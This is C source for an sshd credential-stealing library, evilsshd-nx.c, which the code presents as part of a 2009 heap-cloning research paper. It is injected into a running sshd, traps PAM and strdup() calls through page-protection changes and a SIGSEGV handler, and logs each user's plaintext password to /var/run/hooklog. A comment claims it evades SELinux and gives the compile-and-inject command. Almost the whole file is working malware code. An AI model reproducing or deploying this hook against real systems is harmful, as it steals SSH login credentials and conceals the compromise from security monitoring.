33 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
34 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
35 * SUCH DAMAGE.
36 */

37 /* This is the SELinux-safe version of evilsshd.c. Since it does not
38 * modify .text but only page protections, there is no way SELinux could
39 * detect tampering of sshd. It'd probably also work to do some transition
40 * to an "undefined_t" instead of doing the evil tricks as confined "sshd_t".
41 * Yet, this is a research project so we could go a more complicated way
42 * since it serves as an example to demonstrate self-debugging solely
43 * based on page protections.
44 * On Fedora 11, compile like
45 *
46 * # gcc -fPIC -shared -nostartfiles evilsshd-nx.c -DFEDORA11 -o /lib64/sshd.so
47 * and then using injectso.
48 *
49 * This code is part of the 'Adventures in Heap Cloning' research paper.
50 * If you find this code without the paper, search for
51 * SET-heap-cloning-2009 on the web.
52 */
53 #define _GNU_SOURCE
54 #include <stdio.h>
55 #include <stdlib.h>
56 #include <dlfcn.h>
57 #include <sys/mman.h>
58 #include <unistd.h>
59 #include <signal.h>
60 #include <string.h>
61 #include <security/pam_modules.h>
62 #include <link.h>
63 #include <ucontext.h>
64 #include <elf.h>
65 #include <sys/time.h>

66 // the functions which have been hooked
67 static unsigned char *hooks[0x10] = {0, 0};

68 static char *user = NULL;
69 static FILE *flog = NULL;

70 typedef enum { PAM_FALSE, PAM_TRUE } pam_boolean;

71 // all the PAM declarations must match EXACTLY the targets
72 // PAM version and structs. Otherwise, walking the pam
73 // handler lists etc. is likely to produce SIGSEGV
74 struct handler {
75     int handler_type_must_fail;
76     int (*func)(void *pamh, int flags, int argc, char **argv);
77     int actions[32];
78     /* set by authenticate, open_session, chauthtok(1st)

```

```

79     consumed by setcred, close_session, chauthtok(2nd) */
80     int cached_retval; int *cached_retval_p;
81     int argc;
82     char **argv;
83     struct handler *next;
84     char *mod_name;
85     int stack_level;
86 };

87 struct handlers {
88     struct handler *authenticate;
89     struct handler *setcred;
90     struct handler *acct_mgmt;
91     struct handler *open_session;
92     struct handler *close_session;
93     struct handler *chauthtok;
94 };

95 struct pam_handle {
96     char *authtok;
97     unsigned caller_is;
98     void *pam_conversation;
99     char *oldauthtok;
100    char *prompt;
101    char *service_name;
102    char *user;
103    char *rhost;
104    char *ruser;
105    char *tty;
106    char *xdisplay;
107 #ifdef FEDORAll
108    char *authok_type;
109 #endif
110    void *data, *env;
111    struct {
112        pam_boolean set;
113        unsigned int delay;
114        time_t begin;
115        void *delay_fn_ptr;
116    } fail_delay;
117    struct {
118        int namelen;
119        char *name;
120        int datalen;
121        char *data;
122    } xauth;
123    struct {
124        void *loaded_module;
125        int modules_allocated;
126        int modules_used;
127        int handlers_loaded;
128        struct handlers conf;
129        struct handlers other;
130    } handlers;
131 };

132 void trapit(void *ptr, int idx)
133 {
134     unsigned char *aligned = (unsigned char *)(((size_t)ptr) & ~4095);

135     if (!ptr)
136         return;
137     // -1 indicates to only change back temporary +x
138     if (idx >= 0)
139         hooks[idx] = ptr;
140     mprotect(aligned, 4096, PROT_READ);
141 }

142 void fixit(void *ptr)
143 {
144     unsigned char *aligned = (unsigned char *)(((size_t)ptr) & ~4095);
145     if (!ptr)
146         return;
147     mprotect(aligned, 4096, PROT_READ|PROT_EXEC);
148 }

149 void fixall()
150 {
151     int i;
152     for (i = 0; i < sizeof(hooks)/sizeof(hooks[0]); ++i)
153         fixit(hooks[i]);
154 }

155 // lets hope its not mapped

```

```

156 static const greg_t magic_ip = 0x73507350;
157 static greg_t orig_ret, trap_ip;
158 static int done = 0;
159 pid_t parent_pid = 0;

160 static void sigtrap(int x, siginfo_t *si, void *vp)
161 {
162     ucontext_t *uc = vp;
163     void *arg = NULL;
164     struct pam_handle *ph = NULL;
165     struct handler *mod = NULL;
166     pid_t pid = getpid();

167     if (!parent_pid)
168         parent_pid = pid;

169 #ifdef __x86_64__
170     greg_t ip = uc->uc_mcontext.gregs[REG_RIP];
171     arg = (void *)uc->uc_mcontext.gregs[REG_RDI];
172 #else
173     // x86 is not implemented, I just show it to give an idea
174     greg_t ip = uc->uc_mcontext.gregs[REG_EIP];
175 #endif
176     fprintf(flog, "[%d] TRAP@ 0x%x\n", pid, ip);

177     // a trap due to modified "ret", correct it
178     if (ip == magic_ip) {
179         fprintf(flog, "[%d] corrected ret (0x%x)\n", pid, orig_ret);
180         uc->uc_mcontext.gregs[REG_RIP] = orig_ret;
181         if (done) {
182             fixall();
183             return;
184         }
185         trapit((void *)trap_ip, -1);
186         return;
187     }

188     if (done) {
189         fixall();
190         return;
191     }

192     // this is a finite state machine (FSM), we trap ourself forward
193     // until we reach the final strdup() for the password
194     // If the FSM is left, all hooks are cleaned up in target process
195     // since the last state does not define new hooks
196     if (ip == (greg_t)hooks[0]) {
197         fixit(hooks[0]);
198         ph = (struct pam_handle *)arg;
199         mod = ph->handlers.conf.authenticate;
200         do {
201             fprintf(flog, "[%d] TRAP1: loaded PAM modules: %s\n", pid, mod->mod_name);
202             if (strstr(mod->mod_name, "pam_unix"))
203                 break;
204         } while ((mod = mod->next) != NULL);

205         // hook pam authenticate function
206         if (mod != NULL)
207             trapit(mod->func, 1);
208     } else if (ip == (greg_t)hooks[1]) {
209         fixit(hooks[1]);

210         ph = (struct pam_handle *)arg;
211         fprintf(flog, "[%d] TRAP2: hooking strdup() user=%s\n", pid, ph->user);
212         user = strdup(ph->user);
213         // carefull to only hook after we used strdup() ourself
214         trapit(dlsym(NULL, "strdup"), 2);
215     } else if (ip == (greg_t)hooks[2]) {
216         fixall();
217         done = 1;
218         fprintf(flog, "[%d] TRAP3: credentials: user=%s pwd=%s\n", pid, user, (char *)arg);
219 #ifndef FEDORA11
220         // Since we dont modify pages, the protections are shared across childs.
221         // Only child-sshd is the one which must trap strdup(). If a hook[1] is defined
222         // and we are the parent and we are trapped at a function we dont
223         // hook, it means we are all done.
224         } else if (pid == parent_pid && hooks[1] != NULL) {
225             fixall();
226             done = 1;
227             fprintf(flog, "[%d] parent trapped after in state 1. cleanup.\n", pid);
228 #endif
229         // some other function inside a nx page was unintentionally trapped;
230         // make page temporary +x, and trap upon return of the function
231     } else {
232         fixit((void *)ip);
233         fprintf(flog, "[%d] wrong hit at 0x%x, redirecting...\n", pid, ip);
234         orig_ret = *(greg_t *)uc->uc_mcontext.gregs[REG_RSP];
235         trap_ip = ip;

```

```
236         *(greg_t *)uc->uc_mcontext.gregs[REG_RSP] = magic_ip;
237     }
238     return;
239 }

240 void _init()
241 {
242     struct sigaction sa;

243     flog = fopen("/var/run/hooklog", "a");
244     if (!flog)
245         return;
246     setbuffer(flog, NULL, 0);

247     trapit(dlsym(NULL, "pam_set_item"), 0);

248     memset(&sa, 0, sizeof(sa));
249     sa.sa_sigaction = sigtrap;
250     sa.sa_flags = SA_RESTART|SA_SIGINFO;
251     sigaction(SIGSEGV, &sa, NULL);

252     fprintf(flog, "initial hooking: pid=%d addr=%p ", getpid(), hooks[0]);
253     fprintf(flog, "done\n");
254     return;
255 }
```